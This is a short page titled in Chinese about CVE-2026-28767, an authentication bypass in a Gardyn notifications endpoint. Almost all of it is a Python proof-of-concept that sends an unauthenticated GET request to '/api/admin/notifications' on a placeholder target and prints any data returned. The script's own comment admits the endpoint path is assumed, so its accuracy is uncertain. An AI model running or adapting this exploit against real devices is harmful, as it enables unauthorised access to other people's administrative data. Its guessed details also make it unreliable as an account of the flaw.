CVE-2026-28767 Gardyn通知端点认证绕过漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-28767 Attempts to access the administrative notifications endpoint without authentication. """ # Assuming the endpoint is /api/notifications or similar based on description endpoint = "/api/admin/notifications" full_url = f"{target_url}{endpoint}" try: # Sending request without authentication headers response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Endpoint is accessible.") print("[+] Response data:") print(response.text) else: print(f"[-] Exploit failed or endpoint patched. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://<target_ip>:<port>" # Replace with actual target exploit(target)